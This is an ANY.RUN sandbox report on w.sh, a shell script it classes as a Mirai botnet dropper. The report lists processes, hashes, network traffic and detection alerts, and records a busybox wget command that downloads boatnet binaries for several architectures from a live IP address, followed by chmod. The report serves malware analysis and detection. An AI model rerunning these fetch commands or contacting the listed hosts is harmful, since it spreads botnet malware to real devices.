Malware analysis w.sh Malicious activity | ANY.RUN

Add for printing

File name:	w.sh
Full analysis:	https://app.any.run/tasks/b75959f3-9de8-45a2-951b-96d5025f115f
Verdict:	Malicious activity
Threats:	A botnet is a group of internet-connected devices that are controlled by a single individual or group, often without the knowledge or consent of the device owners. These devices can be used to launch a variety of malicious attacks, such as distributed denial-of-service (DDoS) attacks, spam campaigns, and data theft. Botnet malware is the software that is used to infect devices and turn them into part of a botnet. Mirai is a self-propagating malware that scans the internet for vulnerable IoT devices and infects them to create a botnet. Mirai variants utilize lists of common default credentials to gain access to devices. Mirai's primary use is for launching distributed denial-of-service (DDoS) attacks, but it has also been used for cryptocurrency mining. Malware Trends Tracker >>>
Analysis date:	May 16, 2025, 06:47:53
OS:	Ubuntu 22.04.2
Tags:	mirai botnet
Indicators:
MIME:	text/plain
File info:	ASCII text
MD5:	FA414C771CF848365207175D8A8727EF
SHA1:	6E6374BFB5AA6C5DC660BD9A4AFC475C221E10FF
SHA256:	E5AF3A30D07FB07AD8DD7A07DE453F2F65E127CFA3FA787D545FD360636BBC19
SSDEEP:	24:A7933IR79wSIK79xNIejIV79KLK/IM7919Iv79ysI079ft9Iv79mwIQ79iAfIkTz:I347wHaDkPKLJU1yBy1sftyBmZ4iFk1R

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

Add for printing

MALICIOUS
- MIRAI has been found (auto)
  - busybox (PID: 39880)
  - busybox (PID: 39894)
  - busybox (PID: 39907)
  - busybox (PID: 39903)
  - busybox (PID: 39924)
  - busybox (PID: 39911)
  - busybox (PID: 39915)
  - busybox (PID: 39899)
  - busybox (PID: 39919)
- MIRAI has been detected (SURICATA)
  - boatnet.x86 (PID: 39923)
  - boatnet.x86_64 (PID: 39928)
- Application was dropped or rewritten from another process
  - boatnet.x86 (PID: 39921)
  - boatnet.x86_64 (PID: 39927)
  - boatnet.x86_64 (PID: 39928)
  - boatnet.x86 (PID: 39922)
  - boatnet.x86_64 (PID: 39926)
  - boatnet.x86 (PID: 39923)
SUSPICIOUS
- Executes commands using command-line interpreter
  - sudo (PID: 39869)
  - bash (PID: 39870)
- Modifies file or directory owner
  - sudo (PID: 39866)
- Executes the "rm" command to delete files or directories
  - bash (PID: 39870)
- Potential Corporate Privacy Violation
  - busybox (PID: 39872)
  - busybox (PID: 39876)
  - busybox (PID: 39887)
  - busybox (PID: 39894)
  - busybox (PID: 39899)
  - busybox (PID: 39907)
  - busybox (PID: 39903)
  - busybox (PID: 39915)
  - busybox (PID: 39924)
  - busybox (PID: 39880)
  - busybox (PID: 39911)
  - busybox (PID: 39919)
- Contacting a server suspected of hosting an CnC
  - boatnet.x86 (PID: 39923)
  - boatnet.x86_64 (PID: 39928)
- Connects to unusual port
  - boatnet.x86 (PID: 39923)
  - boatnet.x86_64 (PID: 39928)
INFO
No info indicators.

Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

Add for printing

No Malware configuration.

Add for printing

No data.

Add for printing

All screenshots are available in the full report

Add for printing

Total processes

181

Monitored processes

Malicious processes

Suspicious processes

Behavior graph

Click at the process to see the details

Process information

PID

CMD

Path

Indicators

Parent process

39865

/bin/sh -c "sudo chown user /tmp/w\.sh && chmod +x /tmp/w\.sh && DISPLAY=:0 sudo -iu user /tmp/w\.sh "

/usr/bin/dash

—

oF5qt7VjSoEVMhQn

User:

root

Integrity Level:

UNKNOWN

Exit code:

Modules

Images
/usr/lib/x86_64-linux-gnu/libc.so.6

39866

sudo chown user /tmp/w.sh

/usr/bin/sudo

—

dash

User:

root

Integrity Level:

UNKNOWN

Exit code:

Modules

Images
/usr/lib/x86_64-linux-gnu/libaudit.so.1.0.0
/usr/lib/x86_64-linux-gnu/libselinux.so.1
/usr/libexec/sudo/libsudo_util.so.0.0.0
/usr/lib/x86_64-linux-gnu/libc.so.6
/usr/lib/x86_64-linux-gnu/libcap-ng.so.0.0.0
/usr/lib/x86_64-linux-gnu/libpcre2-8.so.0.10.4
/usr/lib/x86_64-linux-gnu/libnss_systemd.so.2
/usr/libexec/sudo/sudoers.so
/usr/lib/x86_64-linux-gnu/libpam.so.0.85.1
/usr/lib/x86_64-linux-gnu/libz.so.1.2.11

39867

chown user /tmp/w.sh

/usr/bin/chown

—

sudo

User:

root

Integrity Level:

UNKNOWN

Exit code:

Modules

Images
/usr/lib/x86_64-linux-gnu/libc.so.6

39868

chmod +x /tmp/w.sh

/usr/bin/chmod

—

dash

User:

root

Integrity Level:

UNKNOWN

Exit code:

Modules

Images
/usr/lib/x86_64-linux-gnu/libc.so.6

39869

sudo -iu user /tmp/w.sh

/usr/bin/sudo

—

dash

User:

root

Integrity Level:

UNKNOWN

Exit code:

Modules

Images
/usr/lib/x86_64-linux-gnu/libaudit.so.1.0.0
/usr/lib/x86_64-linux-gnu/libselinux.so.1
/usr/libexec/sudo/libsudo_util.so.0.0.0
/usr/lib/x86_64-linux-gnu/libc.so.6
/usr/lib/x86_64-linux-gnu/libcap-ng.so.0.0.0
/usr/lib/x86_64-linux-gnu/libpcre2-8.so.0.10.4
/usr/lib/x86_64-linux-gnu/libnss_systemd.so.2
/usr/libexec/sudo/sudoers.so
/usr/lib/x86_64-linux-gnu/libpam.so.0.85.1
/usr/lib/x86_64-linux-gnu/security/pam_umask.so

39870

-bash --login -c \/tmp\/w\.sh

/usr/bin/bash

—

sudo

User:

user

Integrity Level:

UNKNOWN

Exit code:

Modules

Images
/usr/lib/x86_64-linux-gnu/libtinfo.so.6.3
/usr/lib/x86_64-linux-gnu/libc.so.6

39871

/usr/bin/locale-check C.UTF-8

/usr/bin/locale-check

—

bash

User:

user

Integrity Level:

UNKNOWN

Exit code:

Modules

Images
/usr/lib/x86_64-linux-gnu/libc.so.6

39872

busybox wget http://87.121.79.139/boatnet.arm

/usr/bin/busybox

bash

User:

user

Integrity Level:

UNKNOWN

Exit code:

39873

chmod 777 boatnet.arm

/usr/bin/chmod

—

bash

User:

user

Integrity Level:

UNKNOWN

Exit code:

Modules

Images
/usr/lib/x86_64-linux-gnu/libc.so.6

39874

-bash --login -c \/tmp\/w\.sh

/usr/bin/bash

—

bash

User:

user

Integrity Level:

UNKNOWN

Exit code:

32256

Add for printing

Executable files

Suspicious files

Text files

Unknown types

Dropped files

PID	Process	Filename		Type
39872	busybox	/home/user/boatnet.arm		binary
		MD5:—	SHA256:—
39876	busybox	/home/user/boatnet.arm5		binary
		MD5:—	SHA256:—
39880	busybox	/home/user/boatnet.arm6		o
		MD5:—	SHA256:—
39887	busybox	/home/user/boatnet.arm7		binary
		MD5:—	SHA256:—
39894	busybox	/home/user/boatnet.m68k		binary
		MD5:—	SHA256:—
39899	busybox	/home/user/boatnet.mips		binary
		MD5:—	SHA256:—
39903	busybox	/home/user/boatnet.mpsl		binary
		MD5:—	SHA256:—
39907	busybox	/home/user/boatnet.ppc		binary
		MD5:—	SHA256:—
39911	busybox	/home/user/boatnet.sh4		o
		MD5:—	SHA256:—
39915	busybox	/home/user/boatnet.spc		binary
		MD5:—	SHA256:—

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Add for printing

HTTP(S) requests

TCP/UDP connections

DNS requests

Threats

HTTP requests

PID	Process	Method	HTTP Code	IP	URL	CN	Type	Size	Reputation
—	—	GET	204	185.125.190.49:80	http://connectivity-check.ubuntu.com/	unknown	—	—	whitelisted
39876	busybox	GET	200	87.121.79.139:80	http://87.121.79.139/boatnet.arm5	unknown	—	—	unknown
39880	busybox	GET	200	87.121.79.139:80	http://87.121.79.139/boatnet.arm6	unknown	—	—	unknown
39872	busybox	GET	200	87.121.79.139:80	http://87.121.79.139/boatnet.arm	unknown	—	—	unknown
39887	busybox	GET	200	87.121.79.139:80	http://87.121.79.139/boatnet.arm7	unknown	—	—	unknown
39899	busybox	GET	200	87.121.79.139:80	http://87.121.79.139/boatnet.mips	unknown	—	—	unknown
39894	busybox	GET	200	87.121.79.139:80	http://87.121.79.139/boatnet.m68k	unknown	—	—	unknown
39903	busybox	GET	200	87.121.79.139:80	http://87.121.79.139/boatnet.mpsl	unknown	—	—	unknown
39907	busybox	GET	200	87.121.79.139:80	http://87.121.79.139/boatnet.ppc	unknown	—	—	unknown
39911	busybox	GET	200	87.121.79.139:80	http://87.121.79.139/boatnet.sh4	unknown	—	—	unknown

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID	Process	IP	Domain	ASN	CN	Reputation
—	—	185.125.190.49:80	connectivity-check.ubuntu.com	Canonical Group Limited	GB	whitelisted
484	avahi-daemon	224.0.0.251:5353	—	—	—	unknown
—	—	169.150.255.180:443	odrs.gnome.org	—	GB	whitelisted
—	—	185.125.188.54:443	api.snapcraft.io	Canonical Group Limited	GB	whitelisted
—	—	185.125.188.58:443	api.snapcraft.io	Canonical Group Limited	GB	whitelisted
512	snapd	185.125.188.57:443	api.snapcraft.io	Canonical Group Limited	GB	whitelisted
39872	busybox	87.121.79.139:80	—	Neterra Ltd.	BG	unknown
39876	busybox	87.121.79.139:80	—	Neterra Ltd.	BG	unknown
39880	busybox	87.121.79.139:80	—	Neterra Ltd.	BG	unknown
39887	busybox	87.121.79.139:80	—	Neterra Ltd.	BG	unknown

DNS requests

Domain	IP	Reputation
google.com	172.217.16.142 2a00:1450:4001:80b::200e	whitelisted
connectivity-check.ubuntu.com	185.125.190.49 185.125.190.48 185.125.190.98 185.125.190.18 91.189.91.96 185.125.190.17 91.189.91.98 91.189.91.48 185.125.190.97 91.189.91.49 185.125.190.96 2001:67c:1562::23 2620:2d:4000:1::97 2620:2d:4000:1::22 2620:2d:4002:1::196 2620:2d:4000:1::23 2620:2d:4000:1::98 2620:2d:4002:1::198 2620:2d:4000:1::2b 2001:67c:1562::24 2620:2d:4000:1::96 2620:2d:4000:1::2a	whitelisted
odrs.gnome.org	169.150.255.180 169.150.255.183 195.181.170.18 37.19.194.81 195.181.175.41 207.211.211.27 212.102.56.179 2a02:6ea0:c700::21 2a02:6ea0:c700::18 2a02:6ea0:c700::112 2a02:6ea0:c700::107 2a02:6ea0:c700::11 2a02:6ea0:c700::101 2a02:6ea0:c700::19	whitelisted
api.snapcraft.io	185.125.188.54 185.125.188.57 185.125.188.59 185.125.188.58 2620:2d:4000:1010::117 2620:2d:4000:1010::344 2620:2d:4000:1010::2e6 2620:2d:4000:1010::42	whitelisted
zrysdxnzmo.antiwifi.cc	176.65.142.127	unknown
10.100.168.192.in-addr.arpa	—	unknown

Threats

PID	Process	Class	Message
39872	busybox	Potentially Bad Traffic	ET INFO ARM File Download Request from IP Address
39872	busybox	Potential Corporate Privacy Violation	ET INFO Executable and linking format (ELF) file download Over HTTP
39876	busybox	Potential Corporate Privacy Violation	ET INFO Executable and linking format (ELF) file download Over HTTP
39876	busybox	Potentially Bad Traffic	ET HUNTING Suspicious GET Request for .arm file File
39887	busybox	Potentially Bad Traffic	ET INFO ARM7 File Download Request from IP Address
39887	busybox	Potentially Bad Traffic	ET HUNTING Suspicious GET Request for .arm file File
39880	busybox	Potentially Bad Traffic	ET HUNTING Suspicious GET Request for .arm file File
39894	busybox	Potentially Bad Traffic	ET INFO m68k File Download Request from IP Address
39894	busybox	Potential Corporate Privacy Violation	ET INFO Executable and linking format (ELF) file download Over HTTP
39887	busybox	Potential Corporate Privacy Violation	ET INFO Executable and linking format (ELF) file download Over HTTP

Add for printing

No debug info

General Info

w.sh

FA414C771CF848365207175D8A8727EF

6E6374BFB5AA6C5DC660BD9A4AFC475C221E10FF

E5AF3A30D07FB07AD8DD7A07DE453F2F65E127CFA3FA787D545FD360636BBC19

24:A7933IR79wSIK79xNIejIV79KLK/IM7919Iv79ysI079ft9Iv79mwIQ79iAfIkTz:I347wHaDkPKLJU1yBy1sftyBmZ4iFk1R

Software environment set and analysis options

Launch configuration

Software preset

Behavior activities

MALICIOUS

MIRAI has been found (auto)

MIRAI has been detected (SURICATA)

Application was dropped or rewritten from another process

SUSPICIOUS

Executes commands using command-line interpreter

Modifies file or directory owner

Executes the "rm" command to delete files or directories

Potential Corporate Privacy Violation

Contacting a server suspected of hosting an CnC

Connects to unusual port

INFO

Malware configuration

Static information

Video and screenshots

Processes

Behavior graph

Specs description

Process information

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Information

Information

Modules

Information

Files activity

Dropped files

Network activity

HTTP requests

Connections

DNS requests

Threats

Debug output strings